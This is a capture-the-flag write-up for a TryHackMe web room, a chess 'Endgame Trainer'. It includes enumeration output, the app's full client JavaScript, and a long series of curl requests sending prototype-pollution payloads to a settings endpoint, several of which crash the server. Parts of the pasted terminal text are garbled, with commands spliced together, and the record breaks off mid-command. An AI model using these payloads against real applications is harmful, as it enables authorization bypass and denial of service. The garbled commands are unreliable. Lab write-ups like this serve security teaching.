Fools Mate, Revenge (TryHackMe)

Link to the challenge on TryHackMe: Fools Mate, Revenge
Introduction
I recently worked through a two-part TryHackMe room built around a deceptively simple web app: a chess "Endgame Trainer" with a mate-in-one puzzle. On the surface, it's a clean little UI: drag a piece, deliver checkmate, get a flag. But each part hides a different class of bug behind that same interface, and together they make a genuinely good case study in why client-side logic is not security, and why convenience utilities (like a hand-rolled "deep merge" for user settings) can quietly become an authorization bypass.
Part 1 was a straightforward but satisfying lesson in CWE-602: Client-Side Enforcement of Server-Side Security. The frontend JavaScript ran its own local chess engine to pre-check your move before ever contacting the server, and if it detected the move you were about to make was checkmate, it silently blocked the request and threw up a joke "I'll shut down your PC" modal instead. The fix on my end was almost insultingly simple: skip the browser entirely and send the mating move straight to the /api/move endpoint with curl. The server had no idea the frontend was supposed to be stopping me.
Part 2 raised the difficulty meaningfully. The winning move was still a1a8 a mate-in-one that hadn't changed, but this time the server rejected the reward with a very specific, very generous error message: reward gate closed: session.config.unlocked is not set. That single line turned this from "find the move" into "find a way to set a property on your own session that the app never gave you a legitimate way to set." What followed was a hunt through a vulnerable custom deepMerge function backing a "save preferences" feature — and a first-hand, occasionally painful lesson in how prototype pollution works, how easy it is to accidentally crash the target while poking at it, and why filtering __proto__ alone doesn't actually close the door.
Below is the full walkthrough — enumeration, the client-side bypass, and the prototype pollution chain, including a few dead ends that were worth documenting because of what they revealed about the guard's implementation.
I see my client-side defences were no match for you; well done, my apprentice! Let's see if you have what it takes to claim your prize.
You can access the web app from your AttackBox's browser via: http://MACHINE_IP:3000
Answer the questions below
What is the flag?
nmap -p- -sV IP_Address
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
3000/tcp open http Node.js Express framework
curl -i http://IP_Address:3000/
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 19 Jun 2026 14:35:33 GMT
ETag: W/"d78-19ee04efb36"
Content-Type: text/html; charset=UTF-8
Content-Length: 3448
Date: Sat, 04 Jul 2026 20:12:45 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Endgame Trainer</title>
<link rel="icon" href="data:," />
<link rel="stylesheet" href="css/styles.css" />
</head>
<body>
<div class="app">
<header class="topbar">
<div class="brand">
<span class="brand-mark">♜</span>
<span class="brand-name">Endgame<span class="brand-accent">Trainer</span></span>
</div>
<div class="topbar-tag">Mate-in-one · White to move</div>
</header>
<main class="layout">
<section class="board-wrap">
<div class="ranks" id="ranks"></div>
<div class="files" id="files"></div>
<div class="board" id="board" aria-label="Chess board"></div>
</section>
<aside class="panel">
<div class="panel-card status-card">
<div class="status-row">
<span class="dot" id="turnDot"></span>
<span id="statusText">White to move</span>
</div>
<div class="flag-banner" id="flagBanner" hidden></div>
</div>
<div class="panel-card history-card">
<div class="panel-title">Moves</div>
<ol class="movelist" id="moveList"></ol>
</div>
<div class="panel-card prefs-card">
<div class="panel-title">Preferences</div>
<label class="pref-row"><span>Board theme</span>
<select id="themeSelect">
<option value="forest">Forest</option>
<option value="midnight">Midnight</option>
<option value="coral">Coral</option>
</select>
</label>
<label class="pref-row"><span>Piece set</span>
<select id="pieceSetSelect">
<option value="classic">Classic</option>
<option value="outline">Outline</option>
</select>
</label>
<label class="pref-row"><span>Move animation</span>
<select id="animSelect">
<option value="180">Standard</option>
<option value="100">Fast</option>
<option value="0">Instant</option>
</select>
</label>
<button class="btn btn-ghost" id="savePrefsBtn">Save preferences</button>
</div>
<div class="panel-actions">
<button class="btn btn-ghost" id="resetBtn">Reset position</button>
</div>
</aside>
</main>
</div>
<div class="toast-stack" id="toastStack"></div>
<div class="modal-overlay" id="modalOverlay" hidden>
<div class="win-dialog" role="alertdialog" aria-modal="true">
<div class="win-titlebar">
<span class="win-title" id="winTitle">/usr/lib32</span>
<span class="win-controls"><span class="win-x">×</span></span>
</div>
<div class="win-body">
<div class="win-icon">
<svg viewBox="0 0 48 48" width="44" height="44" aria-hidden="true">
<circle cx="24" cy="24" r="22" fill="#d8000c"/>
<path d="M16 16 L32 32 M32 16 L16 32" stroke="#fff" stroke-width="5" stroke-linecap="round"/>
</svg>
</div>
<div class="win-message" id="winMessage"></div>
</div>
<div class="win-buttons">
<button class="win-btn" id="winOk">OK</button>
</div>
</div>
</div>
<script type="module" src="js/app.js"></script>
</body>
</html>
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,js
gobuster dir -u http://IP_Address:3000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,js
/css (Status: 301) [Size: 153] [--> /css/]
/index.html (Status: 200) [Size: 3448]
/index.html (Status: 200) [Size: 3448]
/js (Status: 301) [Size: 152] [--> /js/]
/vendor (Status: 301) [Size: 156] [-->
curl http://IP_Address:3000/js/app.js
import { Chess } from '../vendor/chess.js';
const START_FEN = '6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1';
const FILES = 'abcdefgh';
const boardEl = document.getElementById('board');
const ranksEl = document.getElementById('ranks');
const filesEl = document.getElementById('files');
const moveListEl = document.getElementById('moveList');
const statusText = document.getElementById('statusText');
const turnDot = document.getElementById('turnDot');
const flagBanner = document.getElementById('flagBanner');
const resetBtn = document.getElementById('resetBtn');
const toastStack = document.getElementById('toastStack');
const modalOverlay = document.getElementById('modalOverlay');
const winMessage = document.getElementById('winMessage');
const winOk = document.getElementById('winOk');
const themeSelect = document.getElementById('themeSelect');
const pieceSetSelect = document.getElementById('pieceSetSelect');
const animSelect = document.getElementById('animSelect');
const savePrefsBtn = document.getElementById('savePrefsBtn');
const game = new Chess(START_FEN);
const sqDivs = {};
let els = {};
let history = [];
let selected = null;
let locked = false;
let dragEl = null;
let dragFrom = null;
let dragging = false;
let downX = 0;
let downY = 0;
function sqToXY(sq) {
const f = FILES.indexOf(sq[0]);
const r = parseInt(sq[1], 10);
return { x: f * 12.5, y: (8 - r) * 12.5 };
}
function codeOf(cell) {
return cell.color + cell.type.toUpperCase();
}
function buildBoard() {
for (let r = 8; r >= 1; r--) {
for (let f = 0; f < 8; f++) {
const sq = FILES[f] + r;
const d = document.createElement('div');
const isLight = (f + r) % 2 !== 0;
d.className = 'square ' + (isLight ? 'light' : 'dark');
const { x, y } = sqToXY(sq);
d.style.left = x + '%';
d.style.top = y + '%';
d.dataset.square = sq;
boardEl.appendChild(d);
sqDivs[sq] = d;
}
}
for (let r = 8; r >= 1; r--) {
const s = document.createElement('span');
s.textContent = r;
ranksEl.appendChild(s);
}
for (let f = 0; f < 8; f++) {
const s = document.createElement('span');
s.textContent = FILES[f];
filesEl.appendChild(s);
}
}
function setElPos(el, sq, instant) {
const { x, y } = sqToXY(sq);
if (instant) {
el.style.transition = 'none';
el.style.left = x + '%';
el.style.top = y + '%';
void el.offsetWidth;
el.style.transition = '';
} else {
el.style.left = x + '%';
el.style.top = y + '%';
}
}
function renderFull() {
for (const el of Object.values(els)) el.remove();
els = {};
const board = game.board();
for (let row = 0; row < 8; row++) {
for (let col = 0; col < 8; col++) {
const cell = board[row][col];
if (!cell) continue;
const sq = FILES[col] + (8 - row);
const el = document.createElement('div');
el.className = 'piece ' + codeOf(cell);
el.dataset.square = sq;
const { x, y } = sqToXY(sq);
el.style.transition = 'none';
el.style.left = x + '%';
el.style.top = y + '%';
boardEl.appendChild(el);
els[sq] = el;
}
}
void boardEl.offsetWidth;
for (const el of Object.values(els)) el.style.transition = '';
refreshHighlights();
}
function animateMove(from, to) {
const el = els[from];
if (!el) { renderFull(); return; }
if (els[to]) {
const cap = els[to];
delete els[to];
setTimeout(() => cap.remove(), 170);
}
setElPos(el, to, false);
el.dataset.square = to;
delete els[from];
els[to] = el;
}
function clearHints() {
boardEl.querySelectorAll('.hint').forEach((n) => n.remove());
}
function showHints(sq) {
clearHints();
const moves = game.moves({ square: sq, verbose: true });
for (const m of moves) {
const h = document.createElement('div');
const occupied = !!els[m.to] || m.flags.includes('e');
h.className = 'hint' + (occupied ? ' capture' : '');
const { x, y } = sqToXY(m.to);
h.style.left = x + '%';
h.style.top = y + '%';
const spot = document.createElement('div');
spot.className = 'spot';
h.appendChild(spot);
boardEl.appendChild(h);
}
}
function clearSelection() {
if (selected && sqDivs[selected]) sqDivs[selected].classList.remove('selected');
selected = null;
clearHints();
}
function select(sq) {
clearSelection();
selected = sq;
sqDivs[sq].classList.add('selected');
showHints(sq);
}
function refreshHighlights() {
Object.values(sqDivs).forEach((d) => d.classList.remove('in-check'));
if (game.isCheck() || game.isCheckmate()) {
const turn = game.turn();
const board = game.board();
for (let row = 0; row < 8; row++) {
for (let col = 0; col < 8; col++) {
const cell = board[row][col];
if (cell && cell.type === 'k' && cell.color === turn) {
sqDivs[FILES[col] + (8 - row)].classList.add('in-check');
}
}
}
}
}
function setLastMove(from, to) {
Object.values(sqDivs).forEach((d) => d.classList.remove('last-move'));
if (sqDivs[from]) sqDivs[from].classList.add('last-move');
if (sqDivs[to]) sqDivs[to].classList.add('last-move');
}
function recordMove(san, color) {
if (color === 'w') history.push({ w: san, b: '' });
else if (history.length) history[history.length - 1].b = san;
renderMoveList();
}
function renderMoveList() {
moveListEl.innerHTML = '';
history.forEach((mv, i) => {
const num = document.createElement('li');
num.className = 'num';
num.textContent = i + 1 + '.';
const w = document.createElement('li');
w.className = 'ply';
w.textContent = mv.w;
const b = document.createElement('li');
b.className = 'ply';
b.textContent = mv.b;
if (i === history.length - 1) {
(mv.b ? b : w).classList.add('last');
}
moveListEl.appendChild(num);
moveListEl.appendChild(w);
moveListEl.appendChild(b);
});
moveListEl.scrollTop = moveListEl.scrollHeight;
}
function updateStatus() {
const turn = game.turn();
turnDot.classList.toggle('black', turn === 'b');
if (game.isCheckmate()) {
statusText.textContent = turn === 'b' ? 'Checkmate \u2014 White wins' : 'Checkmate \u2014 Black wins';
} else if (game.isStalemate()) {
statusText.textContent = 'Stalemate';
} else if (game.isDraw()) {
statusText.textContent = 'Draw';
} else if (game.isCheck()) {
statusText.textContent = (turn === 'w' ? 'White' : 'Black') + ' in check';
} else {
statusText.textContent = (turn === 'w' ? 'White' : 'Black') + ' to move';
}
}
function showFlag(flag) {
flagBanner.hidden = false;
flagBanner.textContent = flag;
}
function toast(msg) {
const t = document.createElement('div');
t.className = 'toast';
t.textContent = msg;
toastStack.appendChild(t);
requestAnimationFrame(() => t.classList.add('show'));
setTimeout(() => {
t.classList.remove('show');
setTimeout(() => t.remove(), 220);
}, 1700);
}
function showSystemNotice(msg) {
winMessage.textContent = msg;
modalOverlay.hidden = false;
}
function hideSystemNotice() {
modalOverlay.hidden = true;
}
function isLegalTarget(from, to) {
return game.moves({ square: from, verbose: true }).some((m) => m.to === to);
}
function needsPromotion(from, to) {
return game.moves({ square: from, verbose: true }).some((m) => m.to === to && m.promotion);
}
async function sendMove(from, to, promotion) {
locked = true;
let res, data;
try {
res = await fetch('/api/move', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ from, to, promotion: promotion || undefined })
});
data = await res.json();
} catch (e) {
locked = false;
renderFull();
return;
}
if (!res.ok || !data || !data.ok) {
locked = false;
renderFull();
return;
}
const pMove = game.move({ from, to, promotion: promotion || undefined });
animateMove(from, to);
recordMove(pMove ? pMove.san : from + to, 'w');
setLastMove(from, to);
if (data.botMove) {
const bf = data.botMove.slice(0, 2);
const bt = data.botMove.slice(2, 4);
const bp = data.botMove.slice(4);
setTimeout(() => {
const bMove = game.move({ from: bf, to: bt, promotion: bp || undefined });
animateMove(bf, bt);
recordMove(bMove ? bMove.san : bf + bt, 'b');
setLastMove(bf, bt);
if (game.fen() !== data.fen) { game.load(data.fen); renderFull(); }
finalize(data);
locked = game.isGameOver();
}, 220);
} else {
if (game.fen() !== data.fen) { game.load(data.fen); renderFull(); }
finalize(data);
locked = game.isGameOver();
}
}
function finalize(data) {
refreshHighlights();
updateStatus();
if (data.flag) {
showFlag(data.flag);
} else if (data.locked) {
showSystemNotice(data.message || 'Checkmate! Reward is locked for this account.');
}
}
function doMove(from, to) {
if (!isLegalTarget(from, to)) return false;
const promotion = needsPromotion(from, to) ? 'q' : undefined;
sendMove(from, to, promotion);
return true;
}
function pointAtSquare(clientX, clientY) {
const rect = boardEl.getBoundingClientRect();
const fx = (clientX - rect.left) / rect.width;
const fy = (clientY - rect.top) / rect.height;
if (fx < 0 || fx >= 1 || fy < 0 || fy >= 1) return null;
const col = Math.floor(fx * 8);
const row = Math.floor(fy * 8);
return FILES[col] + (8 - row);
}
function onPointerDown(e) {
if (locked) return;
const sq = pointAtSquare(e.clientX, e.clientY);
if (!sq) return;
if (selected && selected !== sq && isLegalTarget(selected, sq)) {
const from = selected;
clearSelection();
doMove(from, sq);
return;
}
const piece = game.get(sq);
if (piece && piece.color === 'w' && game.turn() === 'w' && els[sq]) {
select(sq);
dragEl = els[sq];
dragFrom = sq;
dragging = false;
downX = e.clientX;
downY = e.clientY;
dragEl.setPointerCapture(e.pointerId);
} else {
clearSelection();
}
}
function onPointerMove(e) {
if (!dragEl) return;
if (!dragging) {
const dist = Math.hypot(e.clientX - downX, e.clientY - downY);
if (dist < 5) return;
dragging = true;
dragEl.classList.add('dragging');
}
const rect = boardEl.getBoundingClientRect();
let px = ((e.clientX - rect.left) / rect.width) * 100 - 6.25;
let py = ((e.clientY - rect.top) / rect.height) * 100 - 6.25;
px = Math.max(-6.25, Math.min(93.75, px));
py = Math.max(-6.25, Math.min(93.75, py));
dragEl.style.transition = 'none';
dragEl.style.left = px + '%';
dragEl.style.top = py + '%';
}
function onPointerUp(e) {
if (!dragEl) return;
const el = dragEl;
const from = dragFrom;
const wasDragging = dragging;
dragEl = null;
dragFrom = null;
dragging = false;
el.classList.remove('dragging');
el.style.transition = '';
if (!wasDragging) {
return;
}
const drop = pointAtSquare(e.clientX, e.clientY);
if (drop && drop !== from && isLegalTarget(from, drop)) {
setElPos(el, from, true);
clearSelection();
doMove(from, drop);
} else {
setElPos(el, from, true);
clearSelection();
}
}
async function reset() {
let data;
try {
const res = await fetch('/api/reset', { method: 'POST' });
data = await res.json();
} catch (e) {
return;
}
game.load(data && data.fen ? data.fen : START_FEN);
history = [];
renderMoveList();
Object.values(sqDivs).forEach((d) => d.classList.remove('last-move', 'in-check', 'selected'));
selected = null;
flagBanner.hidden = true;
flagBanner.textContent = '';
locked = false;
renderFull();
updateStatus();
}
boardEl.addEventListener('pointerdown', onPointerDown);
boardEl.addEventListener('pointermove', onPointerMove);
boardEl.addEventListener('pointerup', onPointerUp);
boardEl.addEventListener('pointercancel', onPointerUp);
resetBtn.addEventListener('click', reset);
winOk.addEventListener('click', hideSystemNotice);
modalOverlay.addEventListener('click', (e) => { if (e.target === modalOverlay) hideSystemNotice(); });
document.addEventListener('keydown', (e) => { if (e.key === 'Escape') hideSystemNotice(); });
function applyPrefs(p) {
if (!p) return;
if (p.theme) {
document.body.dataset.theme = p.theme;
themeSelect.value = p.theme;
}
if (p.pieceSet) {
document.body.dataset.pieceSet = p.pieceSet;
pieceSetSelect.value = p.pieceSet;
}
if (typeof p.animationMs !== 'undefined') {
document.documentElement.style.setProperty('--anim', Number(p.animationMs) + 'ms');
animSelect.value = String(p.animationMs);
}
}
async function savePrefs() {
const prefs = {
theme: themeSelect.value,
pieceSet: pieceSetSelect.value,
animationMs: Number(animSelect.value)
};
applyPrefs(prefs);
try {
const res = await fetch('/api/settings', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(prefs)
});
const data = await res.json();
if (data && data.preferences) applyPrefs(data.preferences);
} catch (e) {}
toast('Preferences saved');
}
async function loadState() {
try {
const res = await fetch('/api/state');
const data = await res.json();
if (data && data.fen) game.load(data.fen);
} catch (e) {}
renderFull();
updateStatus();
}
savePrefsBtn.addEventListener('click', savePrefs);
buildBoard();
renderFull();
updateStatus();
loadState();
curl -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"theme":"forest","pieceSet":"classic","animationMs":180}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=2476c4e72d3329ec494c9370b5f6d72a; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 83
ETag: W/"53-Dx92MbxGkqGpMKjvA2vExp5e82w"
Date: Sat, 04 Jul 2026 20:19:59 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}
curl -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"theme":"forest","__proto__":{"locked":false}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=b2d47b7042f11e17dcc38f5c4d332574; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:20:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{"theme":"forest"}}
curl -i -X POST http://IP_Address:3000/api/settings \ curl -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=1e3714d05e4d9aa756a7dcd08de31ab0; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 28
ETag: W/"1c-rs9AEwqN3u3Fno/71EEh4StarhE"
Date: Sat, 04 Jul 2026 20:20:50 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{}}
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"theme":"forest"}'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: sid=9717dc160a9e958595eb99bb97f937cf; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:22:07 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{"theme":"forest"}}
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/apcurl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"locked":false}}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:22:19 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{"theme":"forest"}}
curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/rcurl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/move \
-H "Content-Type: application/json" \
-d '{"from":"a1","to":"a8"}'
{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"config":{"unlocked":true}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:23:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{"theme":"forest"}}
curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/rcurl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/move \
-H "Content-Type: application/json" \
-d '{"from":"a1","to":"a8"}'
{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}root@ip-10-114-72-233:~# curl -c cookies.txt -b cookcurl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__":{"config":{"unlocked":true}}}'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 44
ETag: W/"2c-LTDHY2wynAobgqZQJuLL3hrXEyY"
Date: Sat, 04 Jul 2026 20:24:22 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"ok":true,"preferences":{"theme":"forest"}}
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/apcurl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"config":{"unlocked":true}}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:24:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"a":{"constructor":{"prototype":{"config":{"unlocked":true}}}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:26:25 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>
curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies.txt -b cookies.txt -X POST http://IP_Address:3000/api/move \
-H "Content-Type: application/json" \
-d '{"from":"a1","to":"a8"}'
{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"theme":{"__proto__":{"unlocked":true}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:27:38 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>
curl -c cookies.txt -b cookies.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"theme":{"__proto__":{"config":{"unlocked":true}}}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:27:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>
rm -f cookies2.txt
curl -c cookies2.txt -b cookies2.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies2.txt -b cookies2.txt -X POST http://IP_Address:3000/api/move \
-H "Content-Type: application/json" \
-d '{"from":"a1","to":"a8"}'
{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}
curl -c cookies3.txt -b cookies3.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__":{"unlocked":true}}'
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Set-Cookie: sid=c092baae010523cb256c2b775e1bee7a; Path=/; HttpOnly; SameSite=Lax
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 822
Date: Sat, 04 Jul 2026 20:29:16 GMT
Connection: keep-alive
Keep-Alive: timeout=5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>RangeError: Maximum call stack size exceeded<br> at deepMerge (/opt/ctf/chess-e2/server.js:28:19)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)<br> at deepMerge (/opt/ctf/chess-e2/server.js:33:7)</pre>
</body>
</html>
curl -c cookies3.txt -b cookies3.txt -X POST http://IP_Address:3000/api/reset
curl -c cookies3.txt -b cookies3.txt -X POST http://IP_Address:3000/api/move \
-H "Content-Type: application/json" \
-d '{"from":"a1","to":"a8"}'
{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}
curl -c cookies4.txt -b coocurl -c cookies4.txt -b cookies4.txt -i -X POST http://IP_Address:3000/api/settings \
-H "Content-Type: application/json" \
